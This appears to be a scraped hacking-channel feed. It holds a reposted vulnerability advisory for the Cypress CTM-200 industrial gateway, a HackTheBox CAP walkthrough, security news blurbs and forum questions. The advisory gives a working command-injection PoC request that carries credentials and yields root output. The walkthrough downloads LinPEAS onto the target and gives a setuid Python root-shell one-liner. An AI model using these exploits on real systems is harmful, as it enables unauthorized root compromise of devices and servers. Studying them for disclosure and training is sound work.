Exploit Collector
Cypress Solutions CTM-200 2.7.1 Root Remote OS Command Injection

https://3.bp.blogspot.com/-m8d6k5PvpEU/WWlvYbY80xI/AAAAAAAAIOk/9YRDlN0af5krj_sxTfYJBUTX80Cs4dJKgCLcBGAs/s1600/h56.png Cypress Solutions CTM-200 wireless gateway version 2.7.1 suffers from an authenticated semi-blind OS command injection vulnerability. This can be exploited to inject and execute arbitrary shell commands as the root user through the 'ctm-config-upgrade.sh' script leveraging the 'fw_url' POST parameter used in the cmd upgreadefw as argument, called by ctmsys() as pointer to execv() and make_wget_url() function to the wget command in /usr/bin/cmdmain ELF binary.

MD5 | 5443c1ca578d802c9f7cf55428781490Download Cypress Solutions CTM-200 2.7.1 Root Remote OS Command Injection
Vendor: Cypress Solutions Inc.
Product web page: https://www.cypress.bc.ca
Affected version: 2.7.1.5659
2.0.5.3356-184

Summary: CTM-200 is the industrial cellular wireless gateway for fixed and mobile applications.
The CTM-200 is a Linux based platform powered by ARM Cortex-A8 800 MHz superscalar processor.
Its on-board standard features make the CTM-200 ideal for mobile fleet applications or fixed site
office and SCADA communications.

Desc: The CTM-200 wireless gateway suffers from an authenticated semi-blind OS command injection
vulnerability. This can be exploited to inject and execute arbitrary shell commands as the root user
through the 'ctm-config-upgrade.sh' script leveraging the 'fw_url' POST parameter used in the cmd
upgreadefw as argument, called by ctmsys() as pointer to execv() and make_wget_url() function to
the wget command in /usr/bin/cmdmain ELF binary.

================================================================================================
/www/cgi-bin/webif/ctm-config-upgrade.sh:
-----------------------------------------

136: if ! empty "$FORM_install_fw_url"; then
137: echo ""
138: echo "
Installing firmware to flash ... DO NOT POWER OFF CTM-200 Gateway!
"
139: cmd upgradefw "$FORM_fw_url"
140: unset FORM_install_fw_url FORM_submit
141: echo "
Done."
142: fi
==================================================================
cmdmain (ELF):

memset(&DAT_0003bd1c,0,0x80);
make_wget_url(*ppcVar9,&DAT_0003bd9c,&DAT_0003bdbc,&DAT_0003bd1c);
sprintf(local_184,"%s%s -O /tmp/%s",&DAT_0003bd1c,*(undefined4 *)(iParm2 + 8),
*(undefined4 *)(iParm2 + 8));
ctmsys(local_184);
sprintf(local_184,"/tmp/%s",*(undefined4 *)(iParm2 + 8));
iVar3 = ctm_fopen(local_184,"r");
if (iVar3 == 0) {
uVar5 = *(undefined4 *)(iParm2 + 8);
__s = "vueclient -cmdack \'confupgrade:%s FAIL DOWNLOAD\' &";
goto LAB_0001f4a8;
}
ctm_fclose();
memset(local_184,0,0x100);
sprintf(local_184,"%s%s.md5 -O /tmp/%s.md5",&DAT_0003bd1c,*(undefined4 *)(iParm2 + 8),
*(undefined4 *)(iParm2 + 8));
ctmsys(local_184);
=================================================================
cmd (ELF):

while (sVar1 = strlen(__s2), uVar7 < sVar1) {
__s2[uVar7] = *(char *)(__ctype_tolower + (uint)(byte)__s2[uVar7] * 2);
__s2 = *ppcVar8;
uVar7 = uVar7 + 1;
}
uStack180 = 0x7273752f;
uStack176 = 0x6e69622f;
uStack172 = 0x646d632f;
uStack168 = 0x6d632f73;
uStack164 = 0x69616d64;
uStack160 = 0x6e;
uStack159 = 0;
iVar2 = execv((char *)&uStack180,ppcParm2);
================================================================================================

Tested on: GNU/Linux 2.6.32.25 (arm4tl)
BusyBox v1.15.3
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2021-5687
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5687.php
21.09.2021

--
PoC POST request:
-----------------

POST /cgi-bin/webif/ctm-config-upgrade.sh HTTP/1.1
Host: 192.168.1.100
Connection: keep-alive
[...]

___________________________
@hacking_Attack
@Hacking_Video

Content-Length: 611
Cache-Control: max-age=0
Authorization: Basic YWRtaW46Q2hhbWVsZW9u
Upgrade-Insecure-Requests: 1
Origin: http://192.168.1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZlABvwQnpLtpe9mM
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://173.182.107.198/cgi-bin/webif/ctm-config-upgrade.sh
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,mk;q=0.8,sr;q=0.7,hr;q=0.6
Cookie: style=null
sec-gpc: 1

------WebKitFormBoundaryZlABvwQnpLtpe9mM
Content-Disposition: form-data; name="submit"

1
------WebKitFormBoundaryZlABvwQnpLtpe9mM
Content-Disposition: form-data; name="upgradefile"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundaryZlABvwQnpLtpe9mM
Content-Disposition: form-data; name="fw_url"

`id`
------WebKitFormBoundaryZlABvwQnpLtpe9mM
Content-Disposition: form-data; name="install_fw_url"

Start Firmware Upgrade from URL
------WebKitFormBoundaryZlABvwQnpLtpe9mM
Content-Disposition: form-data; name="pkgurl"
------WebKitFormBoundaryZlABvwQnpLtpe9mM--
Response:
---------

HTTP/1.1 200 OK
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
Pragma: no-cache
...
...
Firmware Management

Installing firmware to flash ... DO NOT POWER OFF CTM-200 Gateway!
Saving configuration ...
downloading firmware image: gid=0(root)/uid=0(root).tar
found image:
extracting image files
Verifying checksum of downloaded firmware image
Image checksum failed
OK

Done.
...
...
Proceed Changes
* » Save Configuration « X-WrtEnd user extensions for OpenWrt Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles|Raj Chandel's Blog
CAP HacktheBox Walkthrough

Today CAP – HTB machine will be our target. We will categorize this lab in the beginner's section to capture the flag. Here, we are going to learn about the capability binary approach of privilege escalation. Let's take a deep dive.

Penetration Testing MethodologyReconReconThe first thing always comes to mind is of doing Reconnaissance. Let’s start with the NMAP scan.Nmap –A 10.129.231.234https://blogger.googleusercontent.com/img/a/AVvXsEjfo01PNJAne_9ZswpkUXhYH-1XGE0gOEPR7ji-5-oojur0Rjt5imGCPV7l8AcHBs8s9E5b4DPD9K3D5tcwQSFLoFeA1wPxDwhyRe-5m2H_Y-TpCAvKrpM9LygccibdexmSjaTvesaxIttOMgMDF9ksMndn-882hDGuE-ilQK2da7UQRnqZM-YhZTxfaA=s16000 The scan result of NMAP shows that there are three important open ports i.e.  Port 21 –FTP service having vsftpd 3.0.3 version, Port 22 –SSH version 8.2p1, and Port 80- HTTP serviceEnumerationNow we investigate port 80 in a web browser which displays an interesting dashboard of monitoring results of security events. On the left-hand panel, there are four options mentioned as Dashboard, Security Snapshot (5second PCAP +Analysis), IP config, and Network status. Out of the four options, PCAP i.e. packet capture, the analysis looks interesting which contains the number of packets of TCP and UDP. After directory enumeration, we download the data 0 .pcap file. http://10.129.231.234/data/0https://blogger.googleusercontent.com/img/a/AVvXsEhvz7kuED4R312A1BawT_yNQht0aoE-JSx-NVLYEuNzYdgsrhRKHuMET2rcDPB3iCbFB_fKxXilEPpCXt6S9Two2dX-ZGTHIK_Zpca7sOj13RwV3VxefL0wM60P6unXF8GTWixX9m2zgDGeI97ugyXZu0ErwsKduLAbUbwEYnU9zj7tPbRb-e3cOOjWFg=s16000 The above-downloaded file we analyzed into Wireshark and filter out the FTP Protocol whose result display the credentials into clear text, below are the credentials are mentioned:Ssh nathan@10.129.231.234https://blogger.googleusercontent.com/img/a/AVvXsEjrLm1FE8d26yTEzkgK0dNtlRU8zeUaq6X8xPtAkEZpvniK9v0DpZRWO_ali6UaBA2NXdSRDxdiqhCGq3_QuNSSsNhKih0mLWjuaILHKe_oN-dwHXi2rbUVSYX3Ay2GxE5ofk0pB97xzhsR4QcQRO75Ucsete6B0QClL7H7YLzZV6bdnhCTUckBfCbeSQ=s16000 Privilege EscalationTo enumerate the HTB machine and escalate privileges, we'll utilize the LinPEAS post-exploitation script.Ls We already had the script on the Kali machine, so we host it on port 80 and then will download it using wget from the /tmp directory on the htb machine. Now we give it the necessary execution rights, and then we [...]

___________________________
@hacking_Attack
@Hacking_Video

run LinPEAS.Cd /tmp /linpeas.shhttps://blogger.googleusercontent.com/img/a/AVvXsEgmwIGzpxPQTLADlrR_aFwsK2nlLnYx_vkwUnxfICIDvYceNpTeDu0f8niW15BDLDOrPM0-WWP60k3THoYOD--MxnJMtLQgqnCM_nCmjtxPWdeGXPt5rDz4zTGBgaoC3g4oATjVEROGj0dJan_Q4Oj7cct30e4Mt1-MHiYJudX8scODCcFxkt6Tz_LLKg=s16000 For the Privilege Escalation section, the LINPEAS result reveals an interesting finding concerning cap setuid on Python 3.8's binary, which is how the machine got its name.python3 -c 'import os; os.setuid(0); os.system("/bin/bash")' Finally we capture the root flag.___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles
CAP HacktheBox Walkthrough

Today CAP – HTB machine will be our target. We will categorize this lab in the beginner’s section to capture the flag. Here, we are going to learn about the capability binary approach of privilege escalation. Let’s take a deep dive. Penetration Testing Methodology  Recon Nmap Enumeration Web Enumeration Wireshark

The post CAP HacktheBox Walkthrough appeared first on Hacking Articles.

___________________________
@hacking_Attack
@Hacking_Video

A Tale of Weird XSS into $100
https://medium.com/@nithissh/a-tale-of-weird-xss-into-100-4cd451fe79d4?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Hey Guys , How are you all ? . I hope so your doing good and healthy . So, Lets get started . So , I started searching for bugbounty…Continue reading on Medium » (https://medium.com/@nithissh/a-tale-of-weird-xss-into-100-4cd451fe79d4?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Beginner Bug Bounty Resources
https://spoilyzer.medium.com/beginner-bug-bounty-resources-4e0f8dc822b4?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Hello everyone! 👋🏼Continue reading on Medium » (https://spoilyzer.medium.com/beginner-bug-bounty-resources-4e0f8dc822b4?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
The 5 Phases of Zero-Trust Adoption

Zero trust aims to replace implicit trust with explicit, continuously adaptive trust across users, devices, networks, applications, and data.

Dark Reading: Attacks/Breaches
IDrive Remote Desktop Offers Protection from RDP Cyberattacks and Vulnerabilities

Remote Desktop aims to solve vulnerability issues with RDP by implementing robust access and security controls.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Forcepoint to Acquire Bitglass

Deal will merge Bitglass's security service edge technology with Forcepoint’s SASE architecture.

___________________________
@hacking_Attack
@Hacking_Video

Why is android smali code reversible and JADX one not
https://www.reddit.com/r/redteamsec/comments/q60fxr/why_is_android_smali_code_reversible_and_jadx_one/

Hi, why an android apk file decompiled by smali to dalvik bytecode is reversible and the java decompiled one using JADX is not ? submitted by /u/Spare_Prize1148 (https://www.reddit.com/user/Spare_Prize1148)
[link] (https://www.reddit.com/r/redteamsec/comments/q60fxr/why_is_android_smali_code_reversible_and_jadx_one/) [comments] (https://www.reddit.com/r/redteamsec/comments/q60fxr/why_is_android_smali_code_reversible_and_jadx_one/)

___________________________
@hacking_Attack
@Hacking_Video

Beginner Bug Bounty Resources

Hello everyone! 👋🏼Continue reading on Medium »
Read more...

hacking: security in practice
Bypassing linux server authentication by exploiting osvdb-3092?

So I was given a .ova file containing a linux webserver running apache. We were supposed to retrieve a key from the server but no password was given except to use guest as user. I ran a nikto search to find vulnerabilities in the server and came across OSVDB-3092. A quick google search showed me that CVE-2006-3092 can be exploited to "bypass authentication and modify data via direct requests with modified parameters to 1) /tva/ajouter_tva.php, (2) /remises/ajouter_remise.php, (3) /pays/ajouter_pays.php, (4) /pays/modifier_pays.php, (5) /produits/ajouter_cat.php, (6) /produits/ajouter_produit.php, (7) /clients/ajouter_client.php, (8) /clients/modifier_client.php."

I'm stuck on the last part and wasn't able to find anything on google. Still pretty new to hacking so less technical replies are appreciated. Also what is a good way to document my findings?

submitted by /u/Razeratorr
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video